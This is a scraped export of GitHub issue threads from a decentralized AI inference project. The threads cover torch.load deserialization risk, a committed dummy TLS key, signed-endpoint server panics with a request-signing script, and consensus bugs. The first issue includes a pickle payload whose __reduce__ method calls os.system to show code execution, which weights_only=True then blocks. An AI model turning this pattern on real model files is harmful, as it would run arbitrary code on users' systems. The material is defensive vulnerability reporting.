docker run --rm pytorch/pytorch:latest python3 -c \"\nimport torch, os\nclass Evil:\n def __reduce__(self):\n return (os.system, ('echo EXPLOITED',))\ntorch.save(Evil(), 'bomb.pt')\ntry:\n torch.load('bomb.pt', weights_only=True)\nexcept Exception as e:\n print(f'[PROTECTED] {e}')\n\"\n[PROTECTED] WeightsUnpickler error: Unsupported class posix.system The command did not execute. The flag successfully blocked code execution."}, {"location": "community/issues/00863-potential-rce-via-torchload-in-ml-training-pipeline/#recommended-fix", "title": "Recommended Fix", "text": "Add weights_only=True to all torch.load() calls in the affected files. If other arguments like map_location are present, they can be combined, e.g.:
torch.load(f, weights_only=True, map_location=\"cpu\")\nExample change:
# checkpoint.py\n- torch.load(f)\n+ torch.load(f, weights_only=True)\n\n# eval.py\n- torch.load(f)\n+ torch.load(f, weights_only=True)\nYou can apply the change automatically with sed. Note the difference between Linux and macOS:
For Linux:
sed -i 's/torch\\.load(f)/torch.load(f, weights_only=True)/g' mlnode/packages/train/src/zeroband/monitor/checkpoint.py\nsed -i 's/torch\\.load(f)/torch.load(f, weights_only=True)/g' mlnode/packages/train/src/zeroband/monitor/eval.py\nFor macOS:
sed -i '' 's/torch\\.load(f)/torch.load(f, weights_only=True)/g' mlnode/packages/train/src/zeroband/monitor/checkpoint.py\nsed -i '' 's/torch\\.load(f)/torch.load(f, weights_only=True)/g' mlnode/packages/train/src/zeroband/monitor/eval.py\nThe vulnerability is identified at the code level, not verified on testnet. It requires validation and, if confirmed, a preventive patch.
"}, {"location": "community/issues/00863-potential-rce-via-torchload-in-ml-training-pipeline/#references", "title": "References", "text": "Training is not currently supported and basically needs total revision, so I'd say this issue is low-priority
🔄 Auto-synced from Issue #863 every hour.
"}, {"location": "community/issues/00865-hardcoded-dummy-tls-keycerts-used-for-gloo-transport-in-trai/", "title": "#865 — Hard‑coded dummy TLS key/certs used for Gloo transport in training manager Body", "text": "Hard‑coded dummy TLS key/certs used for Gloo transport in training manager Body #865 Closed @VVSMEN opened 2026-03-05 13:09 UTC 2 comments Updated 2026-03-12 20:24 UTC Priority: Low"}, {"location": "community/issues/00865-hardcoded-dummy-tls-keycerts-used-for-gloo-transport-in-trai/#summary", "title": "Summary", "text": "The ML training manager for the mlnode component is currently configured to use hard‑coded dummy TLS credentials for Gloo’s TCP_TLS transport. These credentials are stored in the repository and wired into the runtime via environment variables. The code still contains a TODO comment indicating that real certificates should replace these placeholders, but this change has not yet been implemented.
Risk level: Medium (configuration / crypto hygiene; impact depends on deployment model and network exposure) Affected component: mlnode/packages/train/src/zeroband/service/manager.py (plus bundled test key in mlnode/packages/train/resources/certs/dummy.key)
The private key file is present in the repository:
mlnode/packages/train/resources/certs/dummy.key\ndummy.crt in the same directory) This is a full PEM‑formatted private key committed to the repo."}, {"location": "community/issues/00865-hardcoded-dummy-tls-keycerts-used-for-gloo-transport-in-trai/#how-is-it-used-by-gloo", "title": "How is it used by Gloo?", "text": "In mlnode/packages/train/src/zeroband/service/manager.py, the training manager wires these dummy credentials into Gloo’s TLS transport:
# mlnode/packages/train/src/zeroband/service/manager.py\n# ...\n\ndef set_gloo_certs(self, private_key_path: str, node_cert_path: str, ca_cert_path: str):\n \"\"\"\n Configure Gloo to use TCP_TLS with the provided key and certificates.\n \"\"\"\n os.environ[\"GLOO_DEVICE_TRANSPORT\"] = \"TCP_TLS\"\n os.environ[\"GLOO_DEVICE_TRANSPORT_TCP_TLS_PKEY\"] = private_key_path\n os.environ[\"GLOO_DEVICE_TRANSPORT_TCP_TLS_CERT\"] = node_cert_path\n os.environ[\"GLOO_DEVICE_TRANSPORT_TCP_TLS_CA_FILE\"] = ca_cert_path\n\ndef _start(self, train_dict: dict):\n if self.process is not None:\n raise RuntimeError(\"Training is already running\")\n\n # TODO: Replace with actual certs when integrated\n self.set_gloo_certs(\n os.path.join(CERTS_DIR, \"dummy.key\"),\n os.path.join(CERTS_DIR, \"dummy.crt\"),\n os.path.join(CERTS_DIR, \"dummy.crt\") # CA points to the same self‑signed cert\n )\n # ...\nKey points: - Gloo is explicitly configured to use TCP_TLS. - The private key (GLOO_DEVICE_TRANSPORT_TCP_TLS_PKEY) and certificate/CA values are always set to dummy.key / dummy.crt from the repo. - The TODO: Replace with actual certs when integrated comment indicates this was intended as a temporary/testing setup. - As of the latest commit I pulled locally, this TODO is still present and the dummy files are still referenced.
dummy.key private key is present in the repository under mlnode/packages/train/resources/certs/.service/manager.py) still uses this dummy key and certificate by default, with the TODO: Replace with actual certs when integrated comment unchanged in the current revision.This was a quick debug fix. Training is not currently supported and basically needs total revision, so I'd say this issue low-priority
@tcharchian commented 2026-03-12 20:24 UTCIt’s hardcoded for test pipeline, on purpose
🔄 Auto-synced from Issue #865 every hour.
"}, {"location": "community/issues/00876-signed-v1chatcompletions-still-panics-on-all-three-documente/", "title": "#876 — Signed /v1/chat/completions still panics on all three documented mainnet transfer-agent endpoints", "text": "Signed /v1/chat/completions still panics on all three documented mainnet transfer-agent endpoints #876 Closed @junior2wnw opened 2026-03-10 20:30 UTC 13 comments Updated 2026-06-03 06:10 UTC"}, {"location": "community/issues/00876-signed-v1chatcompletions-still-panics-on-all-three-documente/#summary", "title": "Summary", "text": "Around 2026-03-10 20:28 UTC, I followed the public Developer Quickstart flow on mainnet using a funded account and observed that inference requests signed using the public Gonka SDK semantics failed on all three documented active transfer-agent endpoints with the same internal server panic.
I then checked whether a practical public fallback existed and did not find a usable one during the same test window.
This report makes a narrow claim:
The narrower claim is:
For an external developer following the publicly documented inference flow, the same internal server failure was reproducible on all three documented active transfer-agent endpoints, and no usable public fallback was found during the same test window.
"}, {"location": "community/issues/00876-signed-v1chatcompletions-still-panics-on-all-three-documente/#related-context", "title": "Related context", "text": "This appears externally similar to #499 (Chat Completions aren't working), which was closed by #643 (fix: guard nil participants in executor selection).
Because the current public symptom is still reproducible on the documented mainnet endpoints, I cannot tell from the outside whether this is:
#643,#643.I am intentionally not claiming which of those is true. I am only claiming that the documented public mainnet developer path still reproduces the same failure pattern.
"}, {"location": "community/issues/00876-signed-v1chatcompletions-still-panics-on-all-three-documente/#documented-endpoints-tested", "title": "Documented endpoints tested", "text": "Per the public Developer Quickstart, the documented active transfer-agent endpoints are:
http://node1.gonka.ai:8000/v1/chat/completionshttp://node2.gonka.ai:8000/v1/chat/completionshttps://node3.gonka.ai/v1/chat/completionsAdditional fallback-related surfaces checked during the same window:
https://node4.gonka.ainode1.gonka.ai signed POST /v1/chat/completions 500 -> runtime error: invalid memory address or nil pointer dereference: panic node2.gonka.ai signed POST /v1/chat/completions 500 -> runtime error: invalid memory address or nil pointer dereference: panic node3.gonka.ai signed POST /v1/chat/completions 500 -> runtime error: invalid memory address or nil pointer dereference: panic node4.gonka.ai fallback check 502 Bad Gateway or timeout non-allowlisted participant endpoints signed inference request 403 -> Transfer Agent not allowed"}, {"location": "community/issues/00876-signed-v1chatcompletions-still-panics-on-all-three-documente/#steps-to-reproduce", "title": "Steps to reproduce", "text": "POST /v1/chat/completions request.http://node1.gonka.ai:8000/v1/chat/completionshttp://node2.gonka.ai:8000/v1/chat/completionshttps://node3.gonka.ai/v1/chat/completionsA normal inference response, or at minimum a structured application-level error without a server panic.
"}, {"location": "community/issues/00876-signed-v1chatcompletions-still-panics-on-all-three-documente/#actual-result", "title": "Actual result", "text": "All three documented active transfer-agent endpoints returned the same internal panic:
rpc error: code = Unknown desc = runtime error: invalid memory address or nil pointer dereference: panic\nTo reduce the chance of a client-side false positive, I also checked the following:
POST /v1/chat/completions requests returned 401 Authorization is required500GET /v1/identity was reachable on the documented nodesGET /v1/models was reachableThese controls do not prove that every aspect of the request was perfect, but they strongly suggest that this was not just a dead route or a missing-auth condition.
"}, {"location": "community/issues/00876-signed-v1chatcompletions-still-panics-on-all-three-documente/#impact-during-testing", "title": "Impact during testing", "text": "From the perspective of an external developer following the documented public flow, this presented as an effective outage during the tested window:
403 Transfer Agent not allowedAfter the HTTP inference path failed, I checked whether the chain-level inference path could serve as fallback.
What I found:
ParticipantStartInference path, requested_by appears to be resolved through participant lookupThis is also a narrow claim:
The chain-level path appears unavailable to accounts that are funded but not already present as Participant records, and this prerequisite does not appear to be clearly disclosed in the Developer Quickstart.
I am not presenting that point as a standalone protocol flaw. I am including it because it materially limited recovery options for the documented developer flow during testing.
"}, {"location": "community/issues/00876-signed-v1chatcompletions-still-panics-on-all-three-documente/#code-pointers-worth-checking", "title": "Code pointers worth checking", "text": "The goal of this section is to reduce investigation time, not to overclaim the exact root cause.
Potentially relevant areas:
inference-chain/x/inference/epochgroup/random.go#643 added nil-member sanitization in executor selection.inference-chain/x/inference/keeper/query_get_random_executor.godecentralized-api/internal/server/public/post_chat_handler.godecentralized-api/internal/server/public/post_chat_handler_test.godecentralized-api/internal/server/public/server.goecho recover middleware, so any remaining panic path becomes a public-facing failure mode.I do not want to overstate root cause without internal logs, so this is intentionally framed as a minimal hardening / validation path rather than a claim about the exact panic site.
#643 nil-guard path (or equivalent).If the current deployment does not, this may be a deployment/version mismatch rather than a fresh logic bug.
Add a regression test for signed POST /v1/chat/completions on the documented public handler path.
If an internal dependency returns an invalid or empty result, the handler should return a structured HTTP error.
Add explicit nil/empty guards at the public inference boundary where missing chain/query results can still leak into handler logic.
In particular around requester lookup, executor selection, and forwarding.
Optionally add recover middleware on the public API server as defense-in-depth.
It would still reduce blast radius for any remaining panic path.
If requested_by must already exist as a Participant, document that explicitly in the Developer Quickstart.
I can provide privately if needed:
If useful, I can also retest against a patched environment and confirm whether the issue is resolved.
"}, {"location": "community/issues/00876-signed-v1chatcompletions-still-panics-on-all-three-documente/#reporter-details", "title": "Reporter details", "text": "GitHub: @junior2wnw Wallet (if bounty attribution is relevant): gonka1glph4syjlx347ptv2n7qfz67sryrhk983j5f8a
Adding a fresh spot-check here to reduce maintainer validation time.
I repeated the signed-path test after opening this issue, using the same signing shape described in the report.
2026-03-10T20:34:12.215Z -> node1 -> 500 -> runtime error: invalid memory address or nil pointer dereference: panic2026-03-10T20:34:12.431Z -> node2 -> 500 -> runtime error: invalid memory address or nil pointer dereference: panic2026-03-10T20:34:12.628Z -> node3 -> 500 -> runtime error: invalid memory address or nil pointer dereference: panicControl check:
2026-03-10T20:34:45.512Z -> unsigned POST http://node2.gonka.ai:8000/v1/chat/completions -> 401 -> Authorization is requiredFallback surface check:
2026-03-10T20:34:38.205Z -> GET https://node4.gonka.ai/v1/identity -> 502 Bad GatewayThat does not prove the exact panic site, but it does further narrow the failure mode:
If I were debugging this from your side, I would check in this order:
#643 nil-guard path./v1/chat/completions path on a funded account against node1/node2/node3.500 panic persists, inspect the remaining nil / empty-result boundaries in the public inference path, especially:import { secp256k1 } from '@noble/curves/secp256k1.js';\nimport { sha256 } from '@noble/hashes/sha2.js';\n\nconst body = JSON.stringify({\n model: 'Qwen/Qwen3-235B-A22B-Instruct-2507-FP8',\n messages: [{ role: 'user', content: 'ping' }],\n max_tokens: 16,\n});\n\nconst endpoints = [\n {\n name: 'node1',\n url: 'http://node1.gonka.ai:8000/v1/chat/completions',\n transferAddress: 'gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le',\n },\n {\n name: 'node2',\n url: 'http://node2.gonka.ai:8000/v1/chat/completions',\n transferAddress: 'gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp',\n },\n {\n name: 'node3',\n url: 'https://node3.gonka.ai/v1/chat/completions',\n transferAddress: 'gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5',\n },\n];\n\nfunction nanoTimestamp() {\n const millisSinceEpoch = BigInt(Date.now()) * 1_000_000n;\n const subMillisecondNanos = process.hrtime.bigint() % 1_000_000n;\n return millisSinceEpoch + subMillisecondNanos;\n}\n\nfunction buildAuthorization(body, timestamp, transferAddress, privateKeyBytes) {\n const payloadHashHex = Buffer.from(sha256(Buffer.from(body))).toString('hex').toLowerCase();\n const message = Buffer.from(`${payloadHashHex}${timestamp.toString()}${transferAddress}`);\n const sig = secp256k1.sign(sha256(message), privateKeyBytes, { lowS: true, format: 'compact' });\n const bytes = sig instanceof Uint8Array ? sig : sig.toCompactRawBytes();\n return Buffer.from(bytes).toString('base64');\n}\n\nfor (const endpoint of endpoints) {\n const timestamp = nanoTimestamp();\n const headers = {\n 'Content-Type': 'application/json',\n 'X-Requester-Address': '<funded gonka1... address>',\n 'X-Timestamp': timestamp.toString(),\n Authorization: buildAuthorization(body, timestamp, endpoint.transferAddress, <privateKeyBytes>),\n };\n\n const response = await fetch(endpoint.url, {\n method: 'POST',\n headers,\n body,\n });\n\n console.log(endpoint.name, response.status, await response.text());\n}\nDownstream note from a live client.
This issue currently blocks the Gonka-backed chat path in Klava: - repo: https://github.com/junior2wnw/klava-bot - provider implementation: https://github.com/junior2wnw/klava-bot/blob/main/packages/runtime/src/gonka-service.ts - public status note: https://github.com/junior2wnw/klava-bot/blob/main/README.md
Klava already implements onboarding, balance and model checks, strongest-model resolution, and signed POST /v1/chat/completions requests against the documented public flow.
The client now reports this as a provider-side failure because the signed request passes the unauthenticated stage and then fails inside the transfer-agent path.
That is why the downstream response is to wait for provider stabilization here rather than redesign the client path. If the public mainnet transfer-agent panic is fixed on the Gonka side, the existing Gonka-backed path in Klava should work again without a different request model.
If bounty attribution metadata is useful later, my Gonka address is: gonka1glph4syjlx347ptv2n7qfz67sryrhk983j5f8a
One more downstream signal from the live client side.
I kept the current Gonka integration path intact and documented the current client boundary here: - https://github.com/junior2wnw/klava-bot/blob/main/GONKA_STATUS.md
Current downstream status on my side is still:
/v1/chat/completions is the blocked pathSo from the client side this still looks isolated to the signed transfer-agent completion path rather than to the broader Gonka onboarding or account surfaces.
That is why I have not redesigned the client around a different request model yet. If the provider-side panic is fixed here, the existing downstream path should become usable again without changing the surrounding client architecture.
If a maintainer wants a freshly minimized reproduction bundle again, I can post one.
@unameisfine commented 2026-03-25 16:05 UTCFound three nil-unguarded gRPC response accesses in post_chat_handler.go that can cause the panic described here:
enforceDeveloperAccessGate (line 250): paramsResp.Params.DeveloperAccessParams — panics if paramsResp is nil. Called for ALL requests.
handleTransferRequest (line 294): raw gRPC error returned without echo.NewHTTPError wrapping — error handler middleware receives an unexpected error type.
validateRequester (line 1000): priceResponse.Found — panics if priceResponse is nil after GetModelPerTokenPrice query.
All three are in the common request path, which explains why all documented endpoints fail simultaneously.
Fix in PR #947 — adds nil guards to all three locations (3 lines changed).
@x0152 commented 2026-03-26 14:32 UTC@junior2wnw Hi Tried your script - buildAuthorization double-hashes the message, so the server returns 401 \"invalid signature\". Fix: pass raw bytes to secp256k1.sign(message, ...) instead of secp256k1.sign(sha256(message), ...). After that, inference returns 200
function buildAuthorization(body, timestamp, transferAddress, privateKeyBytes) {\n const payloadHashHex = Buffer.from(sha256(Buffer.from(body))).toString('hex').toLowerCase();\n const message = Buffer.from(`${payloadHashHex}${timestamp.toString()}${transferAddress}`);\n const sig = secp256k1.sign(message, privateKeyBytes, { lowS: true, format: 'compact' });\n const bytes = sig instanceof Uint8Array ? sig : sig.toCompactRawBytes();\n return Buffer.from(bytes).toString('base64');\n}\nCould you rerun with this fix and check if the 500 panic still reproduces? It's possible it was already fixed in a recent update
@zhaog100 commented 2026-03-26 15:30 UTC/attempt
@zhaog100 commented 2026-03-26 15:30 UTC/attempt
@zhaog100 commented 2026-03-26 16:00 UTC/attempt
@unameisfine commented 2026-03-28 20:31 UTCFound the same InjectParamsIntoContext pattern in two more handlers — StartInference and FinishInference silently continue with broken context when params store is corrupted.
This is the same bug fixed for Validation in #968, but in the other two critical message handlers.
Without fix: handler logs warning, continues → GetDeveloperAccessParams and GetTransferAgentAccessParams fail silently → access gates bypassed.
Fix in PR (link below) — regression tests confirm FAIL without fix, PASS with fix.
@junior2wnw commented 2026-03-30 20:17 UTCThanks - I reran this on March 31, 2026 against the currently documented public mainnet transfer-agent endpoints using a funded external requester account, and I tested both signing variants:
gonka-openai SDK style (payload hash -> signature input -> sha256(signature input) -> sign)payload hash -> signature input -> sign)At least on the currently documented public mainnet endpoints, changing the signature that way did not restore a successful public inference response on my side.
What I observed on the March 31 rerun:
node1.gonka.ai429 rate limit exceeded429 rate limit exceededno successful 200 from either variant
node2.gonka.ai
200during retesting it remained unstable and alternated between 429 rate limit exceeded and the same internal panic shape reported in this issue: runtime error: invalid memory address or nil pointer dereference: panic
node3.gonka.ai
So as of March 31, 2026, I cannot confirm that the extra hash is the root cause of the current public mainnet failure path.
Another reason I am hesitant to treat this as the main fix is that the current public gonka-openai TypeScript SDK still hashes the signature input before signing, so our client-side implementation was matching the published SDK behavior rather than inventing its own scheme: https://github.com/gonka-ai/gonka-openai/blob/main/typescript/src/utils.ts
I also rechecked the wallet side during the same run:
So at least from the March 31 retest, this does not currently look like a missing-wallet-registration issue on my side.
One more concrete observation: on one of today's direct checks, node2 was not even a clean oracle for signature validity, because a deliberately invalid Authorization value could still fall into the same server-side failure path instead of returning a clean 401. That makes it hard to conclude from current public-node behavior alone that raw-message signing is the canonical fix.
My current read is:
#946 and #947 still looks highly relevant to the public failure pathThe fastest path to resolution seems to be:
POST /v1/chat/completions test against the documented public endpoints using a funded external account.#947 or equivalent hardening if the public chat handler can still panic under partial / nil chain-RPC responses.If useful, I can also post a fresh March 31 endpoint matrix with exact status/body pairs from the rerun.
@junior2wnw commented 2026-04-27 13:18 UTCHi, quick follow-up on #876.
I noticed #947 explored a possible fix path and added an integration test for the signed /v1/chat/completions flow, but it was later closed unmerged. Since this issue is still in Triage/New, let me know if a fresh retest against the public endpoints or the private reproduction details from the report would help.
Happy to validate a patched deployment if useful.
@dufok commented 2026-05-29 16:02 UTC Fresh repro 2026-05-29 — distinct 401 variant: per-model \"requires an API key\" (not signature/panic)Following up ~1 month after the last activity here — the documented public mainnet inference flow is still not usable for an external developer, but I hit a different failure mode than the panic/invalid signature/429 already in this thread, so flagging it in case it is a separate access-control layer worth its own issue.
Setup - Funded mainnet account (gonka12wmxxm9l4ern8wcdpr4lr750km2l7l58stsvdt, ~295 GNK). - publish-pubkey via inferenced v0.2.12 succeeded (code: 0, txhash returned). - Account is not a Participant (query inference show-participant <addr> -> NotFound). - Client: gonka-openai==0.2.6 (Python), api_key=\"mock-api-key\" set explicitly.
Request the SDK actually sent (captured by patching httpx.Client.send):
POST https://node4.gonka.ai/v1/chat/completions\nauthorization: <present, len=88, secp256k1 compact base64>\nx-requester-address: gonka12wmxxm9l4ern8wcdpr4lr750km2l7l58stsvdt\nx-timestamp: 1780067501484655306\ncontent-type: application/json\nSo all three documented signing headers are present — this is past the unsigned (Authorization is required) stage.
Response
401 {\"error\":{\"message\":\"model \\\"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\\\" requires an API key\"}}\nWhy this looks distinct from the existing reports here - Not Authorization is required (unsigned case). - Not invalid signature (the SDK double-hash issue @x0152 raised). - Not the 500 nil-pointer panic / 429 rate-limit in the original report. - The rejection is model-specific (model \"X\" requires an API key), which reads like a per-model access gate (cf. #1213, #1226) applied after signature validation — possibly the broker/allowlist registration several others are requesting (#1245, #1247, #1257).
Question for maintainers: is mainnet inference now gated behind a per-model API key / broker-allowlist on top of publish-pubkey + signing? If so, the public Developer Quickstart does not mention it, and a funded account following the documented flow lands on this 401 with no obvious next step. Happy to file this as a separate issue if you consider it distinct from the signed-completion panic tracked here.
Hi @dufok, the Developer Quickstart has been updated. If you have any other questions, please open a new issue
🔄 Auto-synced from Issue #876 every hour.
"}, {"location": "community/issues/00883-minor-safety-issues-non-deterministic-query-unhandled-error-/", "title": "#883 — Minor safety issues: non-deterministic query, unhandled error continuation, uint64 overflow", "text": "Minor safety issues: non-deterministic query, unhandled error continuation, uint64 overflow #883 Closed @unameisfine opened 2026-03-13 17:49 UTC 1 comment Updated 2026-04-27 22:46 UTC"}, {"location": "community/issues/00883-minor-safety-issues-non-deterministic-query-unhandled-error-/#description", "title": "Description", "text": "Found three minor safety issues during code review:
"}, {"location": "community/issues/00883-minor-safety-issues-non-deterministic-query-unhandled-error-/#1-non-deterministic-getallmodelpertokenprices-response", "title": "1. Non-deterministicGetAllModelPerTokenPrices response", "text": "File: inference-chain/x/inference/keeper/query_dynamic_pricing.go:52-58
GetAllModelPerTokenPrices() iterates over map[string]uint64 and appends to a slice. Since Go map iteration order is non-deterministic, different nodes return models in different order for the same gRPC query.
While this doesn't affect consensus (query-only), deterministic API responses are generally expected in blockchain systems and make debugging/testing easier.
"}, {"location": "community/issues/00883-minor-safety-issues-non-deterministic-query-unhandled-error-/#2-submitpocvalidation-continues-after-getactiveconfirmationpocevent-error", "title": "2.SubmitPocValidation continues after GetActiveConfirmationPoCEvent error", "text": "File: inference-chain/x/inference/keeper/msg_server_poc_validation_v1.go:41-45
When GetActiveConfirmationPoCEvent() returns an error, it's logged but execution continues without resetting activeEvent and isActive. Per Go convention, return values are not guaranteed to be meaningful when err != nil. If the function returns partially initialized values on error, the subsequent routing logic could behave unexpectedly.
GetTotalCoins", "text": "File: inference-chain/x/inference/types/settle_amount.go:5-11
GetTotalCoins() adds RewardCoins + WorkCoins (both uint64) without checking for addition overflow. If the sum wraps around, it produces a small value that passes the sum > math.MaxInt64 check, returning an incorrect (silently corrupted) result.
While overflow is unlikely with the current token supply, the silent corruption makes this a correctness issue worth fixing.
"}, {"location": "community/issues/00883-minor-safety-issues-non-deterministic-query-unhandled-error-/#proposed-fix", "title": "Proposed Fix", "text": "See PR linked below with fixes for all three issues.
"}, {"location": "community/issues/00883-minor-safety-issues-non-deterministic-query-unhandled-error-/#comments-1", "title": "💬 Comments (1)", "text": "@unameisfine commented 2026-04-27 22:46 UTCClosing — PR #884 was closed as part of refocusing on larger scoped contributions.
🔄 Auto-synced from Issue #883 every hour.
"}, {"location": "community/issues/00885-non-deterministic-queries-unhandled-settlement-errors-epoch-/", "title": "#885 — Non-deterministic queries, unhandled settlement errors, epoch stats underflow", "text": "Non-deterministic queries, unhandled settlement errors, epoch stats underflow #885 Closed @unameisfine opened 2026-03-13 19:29 UTC 1 comment Updated 2026-04-27 22:46 UTC"}, {"location": "community/issues/00885-non-deterministic-queries-unhandled-settlement-errors-epoch-/#summary", "title": "Summary", "text": "Found several bugs during code review of x/inference/keeper/:
Three query handlers iterate Go maps and return results directly without sorting:
GetParticipantsFullStats — maps.Values(participants) returns unstable orderInferencesAndTokensStatsByModels — iterates map[string]StatsSummaryDebugStatsDeveloperStats — iterates statByTime and statByEpoch mapsGo map iteration order is randomized per-process. This means different nodes return the same data in different order, which can cause issues with deterministic replay and client-side caching.
"}, {"location": "community/issues/00885-non-deterministic-queries-unhandled-settlement-errors-epoch-/#2-uint64-underflow-in-getsummarylastnepochs-getsummarylastnepochsbydeveloper", "title": "2. uint64 underflow inGetSummaryLastNEpochs / GetSummaryLastNEpochsByDeveloper", "text": "epochIdFrom := effectiveEpochIndex - uint64(n)\nWhen n > effectiveEpochIndex (e.g. early chain with epoch=1, requesting last 5 epochs), this wraps to MaxUint64, creating an enormous iterator range. This is reproducible on any chain in its first few epochs.
SettleAccounts", "text": "Four error return values are silently discarded in the settlement path:
GetBitcoinSettleAmounts error logged but settlement continues with potentially uninitialized dataAddTokenomicsData return value completely ignoredSetSettleAmountWithGovernanceTransfer return value completely ignoredTransferOldSettleAmountsToGovernance error logged but nil returned to callershareWorkWithValidators logs \"Unable to update participant\" but omits the actual error value, making debugging impossible.
x/inference/keeper/accountsettle.gox/inference/keeper/developer_stats_aggregation.gox/inference/keeper/msg_server_validation.gox/inference/keeper/query_developer_stats_aggregation.gox/inference/keeper/query_get_participant_current_stats.goClosing — PR #886 was closed as part of refocusing on larger scoped contributions.
🔄 Auto-synced from Issue #885 every hour.
"}, {"location": "community/issues/00891-p0-proxy-server-for-devshards-timeout-handling/", "title": "#891 — [P0] Proxy server for `devshards`: timeout handling", "text": "[P0] Proxy server for `devshards`: timeout handling #891 Closed @dcastro opened 2026-03-16 13:45 UTC 2 comments Updated 2026-04-01 03:20 UTC devshardsAt the moment, the proxy server in /subnet/cmd/subnetctl handles 3 types of actions: chat completions (with diff propagation), finalizing devshards, and querying the devshards status.
It should also handle timeout-related mechanisms.
"}, {"location": "community/issues/00891-p0-proxy-server-for-devshards-timeout-handling/#comments-2", "title": "💬 Comments (2)", "text": "@dcastro commented 2026-03-20 08:35 UTCClosed in favor of #911
@tcharchian commented 2026-03-20 22:41 UTC@gmorgachev, you wanted to include this issue in the upgrade v0.2.12. Does https://github.com/gonka-ai/gonka/pull/911 cover everything you expected here?
🔄 Auto-synced from Issue #891 every hour.
"}, {"location": "community/issues/00892-p0-devshards-add-end-to-end-tests-for-timeout-mechanisms/", "title": "#892 — [P0] `devshards`: add end-to-end tests for timeout mechanisms", "text": "[P0] `devshards`: add end-to-end tests for timeout mechanisms #892 Closed @dcastro opened 2026-03-16 13:48 UTC 2 comments Updated 2026-07-20 05:03 UTC Priority: High devshardsIn #891 we're making the proxy server handle timeout-related mechanisms.
We should write end-to-end testermint tests for these mechanisms.
The proxy server should allow configuring the deadline limits so that the tests can choose a shorter deadline.
"}, {"location": "community/issues/00892-p0-devshards-add-end-to-end-tests-for-timeout-mechanisms/#comments-2", "title": "💬 Comments (2)", "text": "@KKizilov commented 2026-03-26 15:07 UTCWill be done by April 5th.
@a-kuprin commented 2026-07-20 05:03 UTCClosed by https://github.com/gonka-ai/gonka/pull/1332 and https://github.com/gonka-ai/gonka/pull/1482
🔄 Auto-synced from Issue #892 every hour.
"}, {"location": "community/issues/00893-p0-remove-float-math-from-devshards-consensus/", "title": "#893 — [P0] Remove float math from `devshards` consensus", "text": "[P0] Remove float math from `devshards` consensus #893 Closed @Brgndy25 opened 2026-03-16 13:52 UTC 1 comment Updated 2026-04-29 21:44 UTC Priority: High devshardsDeterministicFloat, ShouldValidate, and penalizeUnrevealedSeeds use float64 and math.Ceil.
Floating-point arithmetic is not deterministicacross architectures and can produce different results on different machines, which can lead to state root divergence and consensus splits.
"}, {"location": "community/issues/00893-p0-remove-float-math-from-devshards-consensus/#comments-1", "title": "💬 Comments (1)", "text": "@KKizilov commented 2026-03-26 15:17 UTCWill be done by March 27th.
🔄 Auto-synced from Issue #893 every hour.
"}, {"location": "community/issues/00895-p0-allow-hosts-to-vote-on-timeouts-if-they-havent-yet-seen-m/", "title": "#895 — [P0] Allow hosts to vote on timeouts if they haven't yet seen `MsgStartInference`", "text": "[P0] Allow hosts to vote on timeouts if they haven't yet seen `MsgStartInference` #895 Closed @dcastro opened 2026-03-16 14:00 UTC 0 comments Updated 2026-04-01 23:52 UTC devshardsIn the current implementation of the \"refused timeout\" workflow, we seem to rely on all hosts having seen the inference's MsgStartInference before the user calls for a vote. If a user calls for a vote, and a Host does not yet have the inference in its EscrowState, then it votes \"no\" (function VerifyRefusedTimeout)
This seems like a problem, the mechanism will only work if the user is continuously doing full rounds every 60s (in a devshard of 128 hosts, that's 128 inferences per minute). If the rate is slower than that, or if the user is close to being done with the devshard, the mechanism stops working, and the user is unable to assert that an inference was refused.
One possible solution could be: Instead of checking if the inference exists in EscrowState, we could make the request VerifyTimeoutRequest carry the inference itself. And then VerifyRefusedTimeout would vote against that inference instead.
We would have to skip the \"inference status\" check in VerifyRefusedTimeout, but that's ok. That means a host would potentially be able to vote \"yes\" on an inference that is e.g. already finished, but later hosts would reject MsgTimeoutInference if the user attempts to include it in a diff. So such \"yes\" votes would be useless.
A simpler alternative could be to have the user propagate all created Diffs with signatures when requesting timeout votes. The host would first apply the diffs, and then vote on the timeout.
NOTE: we should generalize this, so that all requests sent by the user include the catchup diffs.
Some tests currently do a full round through hosts to sync up their states, e.g. in TestHTTP_TimeoutRefused:
// Catch up all non-executor hosts so they have the inference state.\n allDiffs := env.session.Diffs()\n for i, h := range env.hosts {\n if i == 1 {\n continue\n }\n _, err := h.HandleRequest(ctx, host.HostRequest{Diffs: allDiffs, Nonce: allDiffs[len(allDiffs)-1].Nonce})\n require.NoError(t, err)\n }\nWe should remove such checks and ensure the tests still pass. We should also have a look at the e2e testermint tests.
🔄 Auto-synced from Issue #895 every hour.
"}, {"location": "community/issues/00896-devshards-research-aggregated-bls-signatures/", "title": "#896 — `devshards`: Research aggregated BLS signatures", "text": "`devshards`: Research aggregated BLS signatures #896 Open @heitor-lassarote opened 2026-03-16 15:10 UTC 2 comments Updated 2026-04-29 21:30 UTC Priority: Low devshardsCurrently, the design for devshards requests a list of all hosts signatures for the settlement transaction. To reduce the transaction size, we'd like to investigate and implement an aggregated BLS signature (plus a bitset for which hosts signed).
To achieve this, one solution is to register the BLS devshard public key for each participant in the mainnet.
Will be done fast after finishing #913
@tcharchian commented 2026-04-29 21:15 UTCpostpone review after Upgrade v0.x.x-devshard2
🔄 Auto-synced from Issue #896 every hour.
"}, {"location": "community/issues/00899-p0-devshards-add-end-to-end-inference-validation-tests/", "title": "#899 — [P0] `devshards`: Add end-to-end inference validation tests", "text": "[P0] `devshards`: Add end-to-end inference validation tests #899 Closed @heitor-lassarote opened 2026-03-16 18:50 UTC 3 comments Updated 2026-04-07 16:10 UTC Priority: High devshardsWe should write testermint tests to ensure that inference validations in devshards work as expected. Such tests already exist for mainnet, but we should reimplement them according to the devshards design and implementation.
Note: I took a little detour from this task to see if I can make the development loop with testermint a bit quicker, by writing a small REPL to interact with the devshard.
Will be done by March 27th.
@heitor-lassarote commented 2026-03-26 15:31 UTCI've written a couple of Testermint tests and added an endpoint to get the inference from the proxy server.
Recently I've been trying to see about changing the session configuration for tests. Although not sure yet if that's the best path forward.
I expect to push a PR with these tests very soon.
🔄 Auto-synced from Issue #899 every hour.
